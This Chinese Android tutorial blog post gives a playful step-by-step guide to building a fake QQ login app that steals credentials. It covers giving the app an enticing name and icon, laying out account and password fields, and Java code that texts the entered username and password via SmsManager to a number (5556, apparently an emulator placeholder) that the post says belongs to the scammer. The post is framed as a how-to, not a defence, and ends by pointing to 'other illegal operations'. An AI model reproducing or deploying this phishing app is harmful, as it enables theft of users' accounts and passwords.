Android教程網
  1. 首頁
  2. Android 技術
  3. Android 手機
  4. Android 系統教程
  5. Android 游戲
 Android教程網 >> Android技術 >> 關於Android編程 >> 套路啊!~小玩Android數據傳輸

套路啊!~小玩Android數據傳輸

編輯:關於Android編程

其實Android移動端也存在類似的套路,下面小編為各位寶寶們來剖他一析

我一探究竟!

最簡單的盜號QQ開發流程,你值得擁有,吼吼~~~

項目名稱: 定制盜號QQ
期望結果: 用戶輸入賬號密碼,一點擊提交,瞬間密碼賬戶發送到了騙子的手機裡!! 
開發步驟:
    1.創建一個Android項目,在res/values/string.xml裡修改一個高大上的應用名!
    2.在清單文件(AndroidManifest.xml)裡的application節點下修改icon,來個誘人的圖.
    3.找到res/layout裡的布局文件activity_main.xml:
        *添加主界面圖標:. 主要屬性src="@drawable/Niceqq"
        *添加賬號輸入框: . 主要屬性 singlelinetrue="true"  hint="QQ/郵箱/手機號碼"
        *添加密碼輸入框:. 主要屬性  inputType="textPassword" hint="請輸入密碼"
        *添加登錄按鈕:

上代碼!!

(1)布局文件activity_main.xml



(2)src下的java代碼: MainActivity.java文件

public class MainActivity extends Activity {
    //定義關心控件
    private EditText et_qq;
    private EditText et_psd;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        //添加關心控件
        et_qq=(EditText) findViewById(R.id.et_qq);
        et_psd = (EditText)findViewById(R.id.et_psd);

    }

    //登錄按鈕點擊事件具體邏輯實現
    public void login(View v){
        //獲取用戶輸入的賬號和密碼
        String qq=et_qq.getText().toString().trim();
        String psd=et_psd.getText().toString().trim();
        //判斷輸入信息是否為空
        if (TextUtils.isEmpty(qq)||TextUtils.isEmpty(psd)) {
            Toast.makeText(this, "賬號或密碼不能為空", 0).show();
            return;
        }
        //將獲得的信息發送到指定手機號
        SmsManager smsManager=SmsManager.getDefault();
        smsManager.sendTextMessage("5556", null, "username:"+qq+",password:"+psd, null, null);
        Toast.makeText(this, "施主請耐心等待", 0).show();
    }
}

(3)清單文件

在manifest節點裡添加:(這樣就可以發出短信了)


我一運行!

這裡寫圖片描述

這裡寫圖片描述


Tips:

此類Android應用常規套路:

布局中存在EditText和Button.

一 添加關心控件 findViewById(R.id.xx)

二 設置按鈕點擊事件

三 在按鈕點擊事件監聽方法裡,得到輸入框裡的內容

*代碼 String data=et.getText().toString().trim();

*同時判斷輸入內容是否為空

if(TextUtils.isEmpty(data)){
    Toast.makeText(上下文,"數據不能為空",0).show();
    return;
}

*若有內容,獲取之後進行其他非法操作

  1. 上一頁:
  2. 下一頁: